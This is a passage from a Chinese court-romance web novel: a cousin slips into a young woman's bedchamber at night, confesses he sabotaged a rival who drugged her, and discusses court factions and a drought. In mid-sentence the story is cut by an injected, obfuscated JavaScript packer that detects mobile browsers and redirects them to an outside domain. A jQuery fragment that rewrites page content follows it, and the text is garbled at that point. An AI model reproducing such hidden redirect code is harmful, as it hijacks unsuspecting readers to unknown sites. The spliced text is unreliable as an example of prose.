屋内寂静无声,宛翎瑶不似方才般,小口小口的喝着水,守夜灯的映照下她影子被拉长拖在地上。
忽然一阵风从窗外掠入,卷起烛火摇曳,火舌无声明灭,宛翎瑶不经意低头发现地上多出一道影子,与她的一起两道交织融合。
什么人?
何时出现的?!!
握着杯盏的指尖因用力而泛白,宛翎瑶只觉头皮发麻连脑袋都不疼了,整个人无比清醒,抿了抿唇她僵硬着抬头,当看清来人,松了口气的同时怒从心起。
又是不打声招呼就来!
只见褚景临不知何时凭空出现,他身着一身赤色烈焰劲装长袍,黑色刻雕花纹路腰带衬得宽肩窄腰,身量修长,深蓝色发带束起高马尾。
少年俊美张扬,可宛翎瑶看着那张脸却开心不起来!
“表哥真是习惯了登徒子行径?”
茶盏被用力放下发出清脆声响,宛翎瑶面无表情讥讽出声,谁知她话落,却见男人面色顿时绯红一片,蔓延至耳垂、脖颈!
“你……”宛翎瑶狐疑。
回过神来,褚景临猛地转过身去,嗓音沙哑,“你……穿好衣服。”
狠狠闭上眼,脑海中场景却更清晰明了,褚景临复又睁开,眸色幽深喉结滚动,夜凉如水他却只觉燥热难耐!
女子月白色寝衣敞开,一侧下滑露出大片雪肤及粉色系带,胸前弧度明显、饱满,隐约可窥见其沟壑,锁骨因纤瘦而凹陷却极为漂亮,香肩圆润。
身子单薄却玲珑有致,她发育的极好,该有肉的地方一点也没少,只是平日里穿的较为宽松,如今寝衣贴身些将身段尽数展现。
嗯?
衣服?
宛翎瑶狐疑低头,却见衣领敞开露出大片雪肤她顿时红了一张俏生生小脸,连忙收拢衣襟,只觉头被气的更疼了,恼羞成怒。
“表哥这次又有什么原因?该给我个合理解释吧?”
若是没有,她定要让云昙打死他!
“抱歉,我没想到,”清了清嗓子,褚景临耳垂赤红迟疑道,“你穿好了?”
此言一出,宛翎瑶面色更红了几分,分不清是气的还是羞的,狠狠剜了下他背影,没好气道。
“自然是好了,不然……”
不然留着给你个登徒子看吗?
后面的话她并没有说出口,褚景临放下心来转过身,他面上红晕未褪视线闪躲没有同她对上。
“水都冷了你怎么还喝?”
“不劳烦表哥操心,表哥不如想想,你总是这般夜里擅闯女子闺房,可想过若是被人发现于我名声有碍?到时候嫁不出去了,你就是个罪人!”
“不会!”
匆忙打断,褚景临视线紧锁着她,若是仔细观察就能发现他身体绷直,垂在身侧的紧攥成拳,青筋暴起。
“不会没人娶的,我娶!”
少年面色严肃,掷地有声。
宛翎瑶怔了下,旋即狠狠剜了他一眼,“你还真觉得我嫁不出去?那表哥就多虑了!若是有什么事不妨快些说,一会儿我那婢女就要回来了。”
褚景临眉头皱紧,没想到她是这种反应,“你不信我?”
“信你什么?”宛翎瑶狐疑上前两步,微弯腰仰头看他,“你今日是发热脑子糊涂了?”
她说着伸手欲要去摸他额头,下一刻,却被一双炙热大手紧攥住,褚景临鼻子轻嗅,睨着她泛红脸颊。
“你睡前饮酒了?”
方才离得不算近,外加上心里有事他才没发现,这下凑近了顿时闻到一阵未散的淡淡酒气,哪怕沐浴洗漱后,仍旧会有些许残留。
“这你也闻得到?鼻子好生灵敏!”
冷哼了声,宛翎瑶甩开他的束缚,“在东宫陪太子妃喝了点,说起来你还没告诉我,那天你为什么会出现在东宫?还有郡主马车坏了,府中走火之事也是你做的?”
一连串迭声询问,提到正事宛翎瑶只觉头也没那么疼了,清醒无比。
“是我做的!”
没有迟疑,他当即承认。
宛翎瑶不解质问,“为什么要这么做?”
为什么?
负手而立,褚景临居高临下觑着她,眸中带着宛翎瑶看不懂的复杂情愫,一点点解答她的疑问。
“皇后势大太子虽在民间声望高,可三皇子却也不容小觑,四皇子又得皇上偏爱,如今算是分庭抗衡的局势,新的助力自然对太子是极好的。”
宛翎瑶并不蠢笨,几乎立刻便能想到,“太子想拉你站队?”
若是如此倒也并不奇怪,她虽为闺阁女子却也明白,朝中如今要么是站队,要么保持中立,父亲便是只忠于陛下。
太子势大不错,可前路难测,一切都说不准。
“是也不是,那日去东宫是为了商议政事,离开时这才凑巧遇到你,”想到那个吻,褚景临微顿暂且没提,“济宁县旱灾
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16545457|186436||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一事你可知道?”
如今虽国泰民安,可天灾无情,人力无法抗衡。
提到此事宛翎瑶面色也凝重下来,“前两日我听兄长提起过,济宁县旱灾严重,数月未降雨百姓们颗粒无收,食不果腹。”
“旱灾严重盗匪猖行,陛下命太子前往济宁县赈灾抚慰民心,明日一早即刻出发,已经有不少流民逃往京中,我奉命负责京中防卫。”
民间疾苦,提及此,气氛不由得沉了下来。
天灾之祸,即便有朝廷赈灾,可短暂休养生息,等缓过来却是需要几年尚不可知。
幸而如今国力强盛,安居乐业,倒也不至于酿成大乱!
沉默半晌,宛翎瑶掠过此事继续问讯,“那你为什么针对姚楚凝?”
“表妹不知道为什么?”
对上他戏谑神色,宛翎瑶身形一僵,不知为何突然有些紧张,“我该知道什么?”
褚景临没有回答她而是反应,他神色颇有几分少年得意之气,“我这么做,表妹难道不开心吗?她敢对你下药,就要付出代价!”
说到最后,褚景临眸中划过森森寒意,戾气丛生,薄唇紧抿成一条直线。
所以他是为她的遭遇生气?
可为什么?
沉默片刻,宛翎瑶红唇蠕动斟酌提醒,“戕害皇室罪责可不轻,表哥如此做,难道不怕长公主查到吗?”
“表妹这是在担心我?”
眼尾挑起,褚景临弯下腰居高临下睨着她,黑曜石般眼眸中噙着笑意,他尾音上扬仿佛有钩子般引得她心痒难耐。
他身量修长本就高出她近一头,俯身时高马尾随着举动下划在空中荡过,乌黑发梢轻扫过宛翎瑶鼻尖带起阵阵痒意。
二人贴的有些近了,能感觉到呼吸交缠,宛翎瑶惊的踉跄后退一步远离他,下意识伸手摸了下鼻子,磕磕巴巴红了脸。
“你……你……你说话就说话,凑那么近干什么?”
再者,她担心他什么?
顶多是替舅舅、舅母头疼!
忽而想到什么,宛翎瑶一怔,“难道,姚楚凝得罪你了?”
褚景临万万没想到她这么不开窍,细细打量发现她心中确实这么想的,险些气笑,索性直言不讳,“她伤害你便是得罪了我,我这么做全然是为了你,与其他无关!”
“你大费周章帮我出口恶气?”眸光流转,宛翎瑶揣测,“所以,你想让我帮你做什么?”